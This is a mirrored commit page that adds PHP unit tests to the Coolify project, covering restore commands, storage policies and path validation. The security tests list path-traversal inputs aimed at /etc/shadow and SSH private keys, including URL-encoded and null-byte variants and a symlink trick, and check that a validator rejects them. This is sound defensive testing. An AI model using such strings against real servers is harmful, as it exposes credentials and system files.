mirror of
https://github.com/tiennm99/coolify.git
synced 2026-04-17 17:21:04 +00:00
Merge branch 'next' into env-var-autocomplete
This commit is contained in:
84
tests/Unit/CoolifyTaskCleanupTest.php
Normal file
84
tests/Unit/CoolifyTaskCleanupTest.php
Normal file
@@ -0,0 +1,84 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\CoolifyTask;
|
||||
|
||||
it('CoolifyTask has failed method that handles cleanup', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
|
||||
// Verify failed method exists
|
||||
expect($reflection->hasMethod('failed'))->toBeTrue();
|
||||
|
||||
// Get the failed method
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source to verify it dispatches events
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify the implementation contains event dispatch logic
|
||||
expect($methodSource)
|
||||
->toContain('call_event_on_finish')
|
||||
->and($methodSource)->toContain('event(new $eventClass')
|
||||
->and($methodSource)->toContain('call_event_data')
|
||||
->and($methodSource)->toContain('Log::info');
|
||||
});
|
||||
|
||||
it('CoolifyTask failed method updates activity status to ERROR', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify activity status is set to ERROR
|
||||
expect($methodSource)
|
||||
->toContain("'status' => ProcessStatus::ERROR->value")
|
||||
->and($methodSource)->toContain("'error' =>")
|
||||
->and($methodSource)->toContain("'failed_at' =>");
|
||||
});
|
||||
|
||||
it('CoolifyTask failed method has proper error handling for event dispatch', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$failedMethod = $reflection->getMethod('failed');
|
||||
|
||||
// Read the method source
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $failedMethod->getStartLine();
|
||||
$endLine = $failedMethod->getEndLine();
|
||||
|
||||
$source = file($filename);
|
||||
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
// Verify try-catch around event dispatch
|
||||
expect($methodSource)
|
||||
->toContain('try {')
|
||||
->and($methodSource)->toContain('} catch (\Throwable $e) {')
|
||||
->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
|
||||
});
|
||||
|
||||
it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
|
||||
$reflection = new ReflectionClass(CoolifyTask::class);
|
||||
$constructor = $reflection->getConstructor();
|
||||
|
||||
// Get constructor parameters
|
||||
$parameters = $constructor->getParameters();
|
||||
$paramNames = array_map(fn ($p) => $p->getName(), $parameters);
|
||||
|
||||
// Verify both parameters exist
|
||||
expect($paramNames)
|
||||
->toContain('call_event_on_finish')
|
||||
->and($paramNames)->toContain('call_event_data');
|
||||
|
||||
// Verify they are public properties (constructor property promotion)
|
||||
expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
|
||||
expect($reflection->hasProperty('call_event_data'))->toBeTrue();
|
||||
});
|
||||
42
tests/Unit/FormatBytesTest.php
Normal file
42
tests/Unit/FormatBytesTest.php
Normal file
@@ -0,0 +1,42 @@
|
||||
<?php
|
||||
|
||||
it('formats zero bytes correctly', function () {
|
||||
expect(formatBytes(0))->toBe('0 B');
|
||||
});
|
||||
|
||||
it('formats null bytes correctly', function () {
|
||||
expect(formatBytes(null))->toBe('0 B');
|
||||
});
|
||||
|
||||
it('handles negative bytes safely', function () {
|
||||
expect(formatBytes(-1024))->toBe('0 B');
|
||||
expect(formatBytes(-100))->toBe('0 B');
|
||||
});
|
||||
|
||||
it('formats bytes correctly', function () {
|
||||
expect(formatBytes(512))->toBe('512 B');
|
||||
expect(formatBytes(1023))->toBe('1023 B');
|
||||
});
|
||||
|
||||
it('formats kilobytes correctly', function () {
|
||||
expect(formatBytes(1024))->toBe('1 KB');
|
||||
expect(formatBytes(2048))->toBe('2 KB');
|
||||
expect(formatBytes(1536))->toBe('1.5 KB');
|
||||
});
|
||||
|
||||
it('formats megabytes correctly', function () {
|
||||
expect(formatBytes(1048576))->toBe('1 MB');
|
||||
expect(formatBytes(5242880))->toBe('5 MB');
|
||||
});
|
||||
|
||||
it('formats gigabytes correctly', function () {
|
||||
expect(formatBytes(1073741824))->toBe('1 GB');
|
||||
expect(formatBytes(2147483648))->toBe('2 GB');
|
||||
});
|
||||
|
||||
it('respects precision parameter', function () {
|
||||
expect(formatBytes(1536, 0))->toBe('2 KB');
|
||||
expect(formatBytes(1536, 1))->toBe('1.5 KB');
|
||||
expect(formatBytes(1536, 2))->toBe('1.5 KB');
|
||||
expect(formatBytes(1536, 3))->toBe('1.5 KB');
|
||||
});
|
||||
79
tests/Unit/Livewire/Database/S3RestoreTest.php
Normal file
79
tests/Unit/Livewire/Database/S3RestoreTest.php
Normal file
@@ -0,0 +1,79 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('pg_restore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = true;
|
||||
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
|
||||
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('gunzip -cf /tmp/test.dump');
|
||||
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMysql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mysql -u $MYSQL_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMariadb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mariadb -u $MARIADB_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MongoDB', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMongodb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mongorestore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
184
tests/Unit/PathTraversalSecurityTest.php
Normal file
184
tests/Unit/PathTraversalSecurityTest.php
Normal file
@@ -0,0 +1,184 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for isSafeTmpPath() function to prevent path traversal attacks.
|
||||
*/
|
||||
describe('isSafeTmpPath() security validation', function () {
|
||||
it('rejects null and empty paths', function () {
|
||||
expect(isSafeTmpPath(null))->toBeFalse();
|
||||
expect(isSafeTmpPath(''))->toBeFalse();
|
||||
expect(isSafeTmpPath(' '))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects paths shorter than minimum length', function () {
|
||||
expect(isSafeTmpPath('/tmp'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
|
||||
});
|
||||
|
||||
it('accepts valid /tmp/ paths', function () {
|
||||
expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects obvious path traversal attempts with ..', function () {
|
||||
expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects paths that do not start with /tmp/', function () {
|
||||
expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
|
||||
expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
|
||||
expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('handles double slashes by normalizing them', function () {
|
||||
// Double slashes are normalized out, so these should pass
|
||||
expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('handles relative directory references by normalizing them', function () {
|
||||
// ./ references are normalized out, so these should pass
|
||||
expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('handles trailing slashes correctly', function () {
|
||||
expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects sophisticated path traversal attempts', function () {
|
||||
// URL encoded .. will be decoded and then rejected
|
||||
expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
|
||||
|
||||
// Mixed case /TMP doesn't start with /tmp/
|
||||
expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
|
||||
|
||||
// URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
|
||||
expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
|
||||
|
||||
// Null byte injection attempt (if string contains it)
|
||||
expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates paths even when directories do not exist', function () {
|
||||
// These paths don't exist but should be validated structurally
|
||||
expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
|
||||
|
||||
// But traversal should still be blocked even if dir doesn't exist
|
||||
expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('handles real path resolution when directory exists', function () {
|
||||
// Create a real temp directory to test realpath() logic
|
||||
$testDir = '/tmp/phpunit-test-'.uniqid();
|
||||
mkdir($testDir, 0755, true);
|
||||
|
||||
try {
|
||||
expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
|
||||
expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
|
||||
} finally {
|
||||
rmdir($testDir);
|
||||
}
|
||||
});
|
||||
|
||||
it('prevents symlink-based traversal attacks', function () {
|
||||
// Create a temp directory and symlink
|
||||
$testDir = '/tmp/phpunit-symlink-test-'.uniqid();
|
||||
mkdir($testDir, 0755, true);
|
||||
|
||||
// Try to create a symlink to /etc (may not work in all environments)
|
||||
$symlinkPath = $testDir.'/evil-link';
|
||||
|
||||
try {
|
||||
// Attempt to create symlink (skip test if not possible)
|
||||
if (@symlink('/etc', $symlinkPath)) {
|
||||
// If we successfully created a symlink to /etc,
|
||||
// isSafeTmpPath should resolve it and reject paths through it
|
||||
$testPath = $symlinkPath.'/passwd';
|
||||
|
||||
// The resolved path would be /etc/passwd, not /tmp/...
|
||||
// So it should be rejected
|
||||
$result = isSafeTmpPath($testPath);
|
||||
|
||||
// Clean up before assertion
|
||||
unlink($symlinkPath);
|
||||
rmdir($testDir);
|
||||
|
||||
expect($result)->toBeFalse();
|
||||
} else {
|
||||
// Can't create symlink, skip this specific test
|
||||
$this->markTestSkipped('Cannot create symlinks in this environment');
|
||||
}
|
||||
} catch (Exception $e) {
|
||||
// Clean up on any error
|
||||
if (file_exists($symlinkPath)) {
|
||||
unlink($symlinkPath);
|
||||
}
|
||||
if (file_exists($testDir)) {
|
||||
rmdir($testDir);
|
||||
}
|
||||
throw $e;
|
||||
}
|
||||
});
|
||||
|
||||
it('has consistent behavior with or without trailing slash', function () {
|
||||
expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
|
||||
expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Integration test for S3RestoreJobFinished event using the secure path validation.
|
||||
*/
|
||||
describe('S3RestoreJobFinished path validation', function () {
|
||||
it('validates that safe paths pass validation', function () {
|
||||
// Test with valid paths - should pass validation
|
||||
$validData = [
|
||||
'serverTmpPath' => '/tmp/valid-backup.sql',
|
||||
'scriptPath' => '/tmp/valid-script.sh',
|
||||
'containerTmpPath' => '/tmp/container-file.sql',
|
||||
];
|
||||
|
||||
expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
|
||||
expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
|
||||
expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates that malicious paths fail validation', function () {
|
||||
// Test with malicious paths - should fail validation
|
||||
$maliciousData = [
|
||||
'serverTmpPath' => '/tmp/../etc/passwd',
|
||||
'scriptPath' => '/tmp/../../etc/shadow',
|
||||
'containerTmpPath' => '/etc/important-config',
|
||||
];
|
||||
|
||||
// Verify that our helper would reject these paths
|
||||
expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
|
||||
expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
|
||||
expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates realistic S3 restore paths', function () {
|
||||
// These are the kinds of paths that would actually be used
|
||||
$realisticPaths = [
|
||||
'/tmp/coolify-s3-restore-'.uniqid().'.sql',
|
||||
'/tmp/db-backup-'.date('Y-m-d').'.dump',
|
||||
'/tmp/restore-script-'.uniqid().'.sh',
|
||||
];
|
||||
|
||||
foreach ($realisticPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
}
|
||||
});
|
||||
});
|
||||
149
tests/Unit/Policies/S3StoragePolicyTest.php
Normal file
149
tests/Unit/Policies/S3StoragePolicyTest.php
Normal file
@@ -0,0 +1,149 @@
|
||||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\User;
|
||||
use App\Policies\S3StoragePolicy;
|
||||
|
||||
it('allows team member to view S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->view($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to view S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->view($user, $storage))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->update($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->update($user, $storage))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team member to delete S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->delete($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->delete($user, $storage))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create S3 storage', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create S3 storage', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team member to validate connection of S3 storage from their team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
|
||||
$storage->team_id = 1;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->validateConnection($user, $storage))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to validate connection of S3 storage from another team', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$storage = Mockery::mock(S3Storage::class)->makePartial();
|
||||
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
|
||||
$storage->team_id = 2;
|
||||
|
||||
$policy = new S3StoragePolicy;
|
||||
expect($policy->validateConnection($user, $storage))->toBeFalse();
|
||||
});
|
||||
39
tests/Unit/Project/Database/ImportCheckFileButtonTest.php
Normal file
39
tests/Unit/Project/Database/ImportCheckFileButtonTest.php
Normal file
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
expect($component->filename)->toBeNull();
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
$component->customLocation = '';
|
||||
|
||||
expect($component->customLocation)->toBe('');
|
||||
});
|
||||
93
tests/Unit/RestoreJobFinishedNullServerTest.php
Normal file
93
tests/Unit/RestoreJobFinishedNullServerTest.php
Normal file
@@ -0,0 +1,93 @@
|
||||
<?php
|
||||
|
||||
use App\Events\RestoreJobFinished;
|
||||
use App\Events\S3RestoreJobFinished;
|
||||
use App\Models\Server;
|
||||
|
||||
/**
|
||||
* Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle
|
||||
* null server scenarios gracefully (when server is deleted during operation).
|
||||
*/
|
||||
describe('RestoreJobFinished null server handling', function () {
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('handles null server gracefully in RestoreJobFinished event', function () {
|
||||
// Mock Server::find to return null (server was deleted)
|
||||
$mockServer = Mockery::mock('alias:'.Server::class);
|
||||
$mockServer->shouldReceive('find')
|
||||
->with(999)
|
||||
->andReturn(null);
|
||||
|
||||
$data = [
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'tmpPath' => '/tmp/backup.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => 999,
|
||||
];
|
||||
|
||||
// Should not throw an error when server is null
|
||||
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles null server gracefully in S3RestoreJobFinished event', function () {
|
||||
// Mock Server::find to return null (server was deleted)
|
||||
$mockServer = Mockery::mock('alias:'.Server::class);
|
||||
$mockServer->shouldReceive('find')
|
||||
->with(999)
|
||||
->andReturn(null);
|
||||
|
||||
$data = [
|
||||
'containerName' => 'helper-container',
|
||||
'serverTmpPath' => '/tmp/downloaded.sql',
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'containerTmpPath' => '/tmp/container-file.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => 999,
|
||||
];
|
||||
|
||||
// Should not throw an error when server is null
|
||||
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles empty serverId in RestoreJobFinished event', function () {
|
||||
$data = [
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'tmpPath' => '/tmp/backup.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => null,
|
||||
];
|
||||
|
||||
// Should not throw an error when serverId is null
|
||||
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles empty serverId in S3RestoreJobFinished event', function () {
|
||||
$data = [
|
||||
'containerName' => 'helper-container',
|
||||
'serverTmpPath' => '/tmp/downloaded.sql',
|
||||
'scriptPath' => '/tmp/script.sh',
|
||||
'containerTmpPath' => '/tmp/container-file.sql',
|
||||
'container' => 'test-container',
|
||||
'serverId' => null,
|
||||
];
|
||||
|
||||
// Should not throw an error when serverId is null
|
||||
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles missing data gracefully in RestoreJobFinished', function () {
|
||||
$data = [];
|
||||
|
||||
// Should not throw an error when data is empty
|
||||
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
|
||||
it('handles missing data gracefully in S3RestoreJobFinished', function () {
|
||||
$data = [];
|
||||
|
||||
// Should not throw an error when data is empty
|
||||
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
|
||||
});
|
||||
});
|
||||
61
tests/Unit/RestoreJobFinishedSecurityTest.php
Normal file
61
tests/Unit/RestoreJobFinishedSecurityTest.php
Normal file
@@ -0,0 +1,61 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for RestoreJobFinished event to ensure it uses secure path validation.
|
||||
*/
|
||||
describe('RestoreJobFinished event security', function () {
|
||||
it('validates that safe paths pass validation', function () {
|
||||
$validPaths = [
|
||||
'/tmp/restore-backup.sql',
|
||||
'/tmp/restore-script.sh',
|
||||
'/tmp/database-dump-'.uniqid().'.sql',
|
||||
];
|
||||
|
||||
foreach ($validPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
}
|
||||
});
|
||||
|
||||
it('validates that malicious paths fail validation', function () {
|
||||
$maliciousPaths = [
|
||||
'/tmp/../etc/passwd',
|
||||
'/tmp/foo/../../etc/shadow',
|
||||
'/etc/sensitive-file',
|
||||
'/var/www/config.php',
|
||||
'/tmp/../../../root/.ssh/id_rsa',
|
||||
];
|
||||
|
||||
foreach ($maliciousPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeFalse();
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects URL-encoded path traversal attempts', function () {
|
||||
$encodedTraversalPaths = [
|
||||
'/tmp/%2e%2e/etc/passwd',
|
||||
'/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
|
||||
urlencode('/tmp/../etc/passwd'),
|
||||
];
|
||||
|
||||
foreach ($encodedTraversalPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeFalse();
|
||||
}
|
||||
});
|
||||
|
||||
it('handles edge cases correctly', function () {
|
||||
// Too short
|
||||
expect(isSafeTmpPath('/tmp'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
|
||||
|
||||
// Null/empty
|
||||
